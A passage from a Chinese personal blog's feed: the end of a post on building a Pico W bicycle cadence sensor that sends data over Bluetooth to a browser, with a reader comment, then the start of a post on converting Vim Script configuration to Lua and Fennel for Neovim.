&lt;p&gt;我尝试从源码里推导出&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;TICKS_PERIOD，只能确定它是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MICROPY_PY_TIME_TICKS_PERIOD。但具体是多少，我没法拿肉眼看，还是等哪天需要自个编译&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;MicroPython&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时加个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;printf&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来看吧。不过，经测试，一两秒的间隔还是容得下的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;-6&quot;&gt;蓝牙&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;-7&quot;&gt;用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pico W&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;发蓝牙&lt;&#x2F;h3&gt;
&lt;p&gt;Pico
W&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;W，是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wireless&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;W。这代表它既支持&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wi-Fi，又支持蓝牙。根据&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.raspberrypi.com&#x2F;news&#x2F;getting-to-grips-with-bluetooth-on-pico-w&#x2F;&quot;&gt;官方的教程&lt;&#x2F;a&gt;，很快就可以用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pico
W&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;进行蓝牙&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;advertise、notify。官方的示例程序基本可用，我们需要改的只有两项：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;用于踏频传感器的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;service、characteristic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;编号；&lt;&#x2F;li&gt;
&lt;li&gt;确定&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;notify&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;要发送多长的字节。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;前者需要上&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;bitbucket.org&#x2F;bluetooth-SIG&#x2F;public&#x2F;src&#x2F;main&#x2F;assigned_numbers&#x2F;uuids&#x2F;&quot;&gt;蓝牙的官方仓库&lt;&#x2F;a&gt;里找。其中&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;service
id&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;好找，搜&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cycling&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;就能找到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;org.bluetooth.service.cycling_speed_and_cadence&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;及其对应的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0x1816；我是死活找不到——后来才发现他们在列举&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;characteristic&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;cycling_speed_and_cadence&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;简写成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CSC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;了，所以我要找的是对应&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;0x2A5B&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;CSC
Measurement。&lt;&#x2F;p&gt;
&lt;p&gt;编号有了，接下来确定要传输多少字节。由于人类踏频不会超过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;256rpm，所以长达一字节的无符号数即可容纳踏频信息。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;-8&quot;&gt;用浏览器收蓝牙&lt;&#x2F;h3&gt;
&lt;p&gt;发完了，谁来收呢？Chromium&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;系的浏览器实现了实验性的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Web
Bluetooth
API，允许你通过&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;JavaScript&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;来操纵蓝牙配对、消息传递。Chrome&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的开发者还分享了&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;googlechrome.github.io&#x2F;samples&#x2F;web-bluetooth&#x2F;notifications.html?service=cycling_speed_and_cadence&amp;amp;characteristic=csc_measurement&quot;&gt;示例程序&lt;&#x2F;a&gt;。我把那段程序改了改，让它在收到蓝牙通知时打印当前时间和转速。下面是演示视频：&lt;&#x2F;p&gt;
&lt;video controls preload=&quot;metadata&quot; style=&quot;width:100%&quot;&gt;
    &lt;source src=&quot;&#x2F;assets&#x2F;PXL_20230829_223202467.TS-scaled.mp4&quot; type=&quot;video&#x2F;mp4&quot;&gt;
    你的浏览器不支持嵌入视频，但你可以&lt;a href=&quot;&#x2F;assets&#x2F;PXL_20230829_223202467.TS-scaled.mp4&quot;&gt;下载&lt;&#x2F;a&gt;下来看。
    视频内容：在屋里用Edge浏览器的Web Bluetooth来接收Pico W计算的踏频
&lt;&#x2F;video&gt;
&lt;p&gt;这段不小心把我的传家宝拖鞋也录进去了。本来想重录一遍更漂亮的，电池却在关键时刻没电了——那是我最后的七号电池了！&lt;&#x2F;p&gt;
&lt;p&gt;我的代码是一刻不停地读取数据，也许可以适当降低频率来减少功耗，但目前阶段还是买新电池麻烦更少。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;-9&quot;&gt;电池插曲&lt;&#x2F;h2&gt;
&lt;p&gt;我查了下哪家充电电池又便宜又好，发现大家比较推荐宜家的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LADDA（听起来很像俄罗斯破烂汽车&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。正巧我想买张桌子，就找了个周末上宜家扛回来了一张桌板、四条桌腿和四节电池。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230907_091540877.MP-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230907_091540877.MP-optim.jpg&quot;
	alt=&quot;来自宜家的LADDA充电电池&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;回到家，给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Maker Pi Pico
Mini&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;安上新电池。通电就亮的小&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LED&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;马上点亮——又马上熄灭。奇了怪了，同样的电池，抠下来给附带屏幕的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Badger
2040 W（也是在背后焊了一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pico
W）换上就能照常使用；给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Maker Pi Pico
Mini&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;接上连灯都亮不了。&lt;&#x2F;p&gt;
&lt;p&gt;从&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Badger 2040
W&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的教程上看到，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;learn.pimoroni.com&#x2F;article&#x2F;getting-started-with-badger-2040#:~:text=if%20you&amp;#x27;re%20planning%20on%20using%20rechargeable%20(nimh)%20batteries%20you&amp;#x27;ll%20probably%20need%20to%20use%20a%203%20x%20aaa%20battery%20holder%20-%202%20nimh%20batteries%20only%20put%20out%202.4v%20which%20is%20not%20enough%20to%20keep%20the%20wireless%20on%20badger%202040%20w%20happy%20(though%20it%20is%20enough%20for%20badger%202040%20to%20squeak%20by).&quot;&gt;两节充电电池的电压（各&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;1.2V）对&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Pico
W&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的无线功能来说不够&lt;&#x2F;a&gt;。可是实际测试时发现，两节&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LADDA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;完全可以让&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Badger
2040
W&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;连上&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Wi-Fi。我问了两个相关专业的朋友，西工大的告诉我可以把两个七号电池盒串联起来，用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LDO、DCDC
boost&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;把电池盒的电压规定在某个区间；哈工大的则推荐我去买个小一点的移动电源，他说移动电源把哪些工作都做好了。&lt;&#x2F;p&gt;
&lt;p&gt;为什么&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;2.4V&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的电压能带动有屏幕的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Badger
2040 W，却点不亮没屏幕的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Maker Pi Pico
Mini？我怀疑是后者电路设计有问题。当然，这就不是我能理解的了。我对这个问题的解决方式是：买一个三块电池的电池盒，在到货之前给&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LADDA&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;充满电再接到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Maker
Pi Pico Mini&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;-10&quot;&gt;实地测试&lt;&#x2F;h2&gt;
&lt;div class=&quot;maybe-columns&quot;&gt;
&lt;div class=&quot;div&quot;&gt;
&lt;p&gt;我的原计划是把&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Badger 2040
W&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;装在车把上，实时显示我的踏频。不过安卓上的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Chrome&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;浏览器也支持&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Web
Bluetooth
API，所以只要把我的测试&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;HTML&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;传到&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;VPS&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;上，再用手机打开就可以显示、记录踏频了。实际测试时担心了一路，害怕自己没把各个部件固定牢：掉到地上还好，要是被卷进齿轮里可就不好了。好消息是：一路下来有惊无险，也得到了足够的数据——可以说，我的自制踏频器已经通过阶段性成功了。&lt;&#x2F;p&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;PXL_20230918_112357549-optim.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;PXL_20230918_112357549-optim.jpg&quot;
	alt=&quot;在目的地停车场拍照的踏频器&quot;
	height=&quot;771&quot;
	width=&quot;1024&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;





&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;Screenshot_20230918-122058-fs8.png&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        src=&quot;&amp;#x2F;assets&amp;#x2F;Screenshot_20230918-122058-fs8.png&quot;
	alt=&quot;手机Chrome浏览器上记录的踏频数据&quot;
	height=&quot;1024&quot;
	width=&quot;461&quot;
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;h2 id=&quot;-11&quot;&gt;剩下的工作&lt;&#x2F;h2&gt;
&lt;p&gt;虽说目前已经可以使用，但还有许多改进的空间。其中最重要的就是外壳——有了外壳，我就不用担心下雨了，而且安装、拆卸时也要方便许多。目前我得知图书馆里有&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;3D&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;打印机，我也短暂地学习过《&lt;ruby&gt;自动桌子&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;Autodesk&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;
&lt;ruby&gt;发明家&lt;rp&gt;（&lt;&#x2F;rp&gt;&lt;rt&gt;Inventor&lt;&#x2F;rt&gt;&lt;rp&gt;）&lt;&#x2F;rp&gt;&lt;&#x2F;ruby&gt;&lt;span class=&quot;halt&quot;&gt;》&lt;&#x2F;span&gt;。所以应该能在年底之前做出个外壳。&lt;&#x2F;p&gt;
&lt;p&gt;有了外壳，就可以随时使用了。等数据多了应该会微调读取磁强计数据的间隔、发送蓝牙消息的时机等等。也说不定会利用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;ICM-20948&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的陀螺仪和加速计去测量些别的什么东西——我可以用这两个来推算出当前速度么？如果能推出速度，想必连里程都可以估算出来。&lt;&#x2F;p&gt;
&lt;p&gt;另外，我还有一块&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;BME688。之前尝试过用它的气压计估计当前海拔。也许会把它放到自行车上，看看我什么时候能累计爬完一个珠峰。&lt;&#x2F;p&gt;
&lt;p&gt;其实，能玩的很多，只是缺少连续的大块时间。&lt;&#x2F;p&gt;

      
&lt;div lesspub&gt;
    &lt;br&gt;
    &lt;p&gt;
        &lt;img src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&#x2F;assets&#x2F;ablobcatdundundun.gif&quot;
            style=&quot;width:1.2em;transform:translateY(.2em)&quot;
	    loading=&quot;lazy&quot; decoding=&quot;async&quot;&gt;复制以下链接，并粘贴到你的&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Mastodon、Misskey或&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;GoToSocial&lt;span
            class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;等应用的搜索栏中，即可搜到对应本文的嘟文。对嘟文进行的点赞、转发、评论，都会出现在本文底部。快去试试吧！
    &lt;&#x2F;p&gt;
    
    &lt;p&gt;
        链接：https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;cadence-sensor
        &lt;button onclick=&quot;navigator.clipboard.writeText(&#x27;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;note&amp;#x2F;cadence-sensor&#x27;);document.getElementById(&#x27;url-btn&#x27;).innerText=&#x27;复制成功&#x27;&quot;
            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    



&lt;br &#x2F;&gt;
&lt;details open likes&gt;
    &lt;summary&gt;


一人赞过：&lt;&#x2F;summary&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;casouri&quot;&gt;










冥王星爱丽&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;



    





    



&lt;br &#x2F;&gt;
&lt;details open replies&gt;
    &lt;summary&gt;


一条评论：&lt;&#x2F;summary&gt;
    &lt;p&gt;注：点击昵称可以查看对评论的回复。&lt;&#x2F;p&gt;
    &lt;ol reversed&gt;
        
        &lt;li&gt;
            &lt;figure&gt;
                &lt;figcaption&gt;&lt;a href=&quot;https:&amp;#x2F;&amp;#x2F;mona.do&amp;#x2F;users&amp;#x2F;casouri&amp;#x2F;statuses&amp;#x2F;111203557582747732&quot;&gt;










冥王星爱丽&lt;&#x2F;a&gt;：
                &lt;&#x2F;figcaption&gt;
                
                
                    
                    
                        
                        
                    
                
                &lt;blockquote&gt;&lt;p&gt;&lt;span class=&quot;h-card&quot;&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;actor&quot; class=&quot;u-url mention&quot;&gt;@&lt;span&gt;actor&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;&lt;&#x2F;span&gt; 之前看了懒得评论，今天一鼓作气夸一夸！&lt;&#x2F;p&gt;&lt;p&gt;看你的过程和我自己的经历，感觉制作硬件的东西比写程序难了许多！真实世界有太多变量和不确定因素了。相比之下程序员的世界就像是宝宝花园一样。&lt;&#x2F;p&gt;&lt;p&gt;近年来这种小型硬件和3d打印技术，还有配套的开源软件进步非常振奋人心。能这么简单地做出东西来放十年二十年前简直无法想象，真期待十年后会变成什么样www&lt;&#x2F;p&gt;&lt;p&gt;之前看过一些极客做的小东西，因为能量消耗太小，可以用一颗纽扣电池运行几十年，让我大受震撼，感觉接近科幻小说里对小型核电供能的机械的想象了！&lt;&#x2F;p&gt;&lt;p&gt;如果能做成用自行车运行发电，不需要电池就更帅了。而且上发电装置应该可以做成无接触式的？&lt;&#x2F;p&gt;&lt;p&gt;我也不知道我为什么对不需要充电有这么强的偏好www&lt;&#x2F;p&gt;&lt;&#x2F;blockquote&gt;
            &lt;&#x2F;figure&gt;
        &lt;&#x2F;li&gt;
        
    &lt;&#x2F;ol&gt;
&lt;&#x2F;details&gt;


&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>用Fennel宏配置Neovim</title>
    <published>2023-08-20T15:22:59+01:00</published>
    <updated>2023-08-28T10:10:23+01:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/fennel-macro-neovim/" type="text/html" />
    <id>https://emptystack.top/fennel-macro-neovim/</id>
    <content type="html">
      &lt;p&gt;我的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Vim、Neovim&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;共用一套&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Vim
Script&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;配置（不同之处用&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;dotfiles&#x2F;#%E7%9B%AE%E5%89%8D%E7%9A%84%E6%96%B9%E6%B3%95&quot;&gt;模板&lt;&#x2F;a&gt;生成&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。现在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Neovim&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;有很多用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;编写的插件需要用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;配置，同时我又不喜欢在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Vim
Script&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里嵌入字符串&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&#x2F;HEREDOC&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;形式的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代码，所以我开始把我的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Vim
Script&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;翻译成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;代码，然而：&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Lua太繁琐&quot;&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;太繁琐&lt;&#x2F;h2&gt;
&lt;p&gt;假设我们有下面的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Vim
Script&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;配置：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;viml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;tnoremap&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;Esc&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;C-\&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #A65E2B;&quot;&gt;C-n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;let&lt;&#x2F;span&gt;&lt;span&gt; mapleader &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt; &amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; ignorecase smartcase&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; matchpairs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;+=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;augroup&lt;&#x2F;span&gt;&lt;span&gt; BFG&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    autocmd!&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    autocmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; FileType&lt;&#x2F;span&gt;&lt;span&gt; c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;cpp&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt;verilog &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;setlocal&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; commentstring&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5E3F;&quot;&gt;&#x2F;&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;%s&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;    autocmd&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; BufWritePre&lt;&#x2F;span&gt;&lt;span&gt; * %s&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5E3F;&quot;&gt;&#x2F;\s\+$&#x2F;&lt;&#x2F;span&gt;&lt;span&gt;&#x2F;e&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;augroup&lt;&#x2F;span&gt;&lt;span&gt; END&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;翻译成&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;以后竟然是：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;lua&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;vim&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;keymap&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;set&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;t&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;lt;Esc&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;[[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;&amp;lt;C-\&amp;gt;&amp;lt;C-n&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;]]&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;vim&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;g&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;mapleader&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;quot; &amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
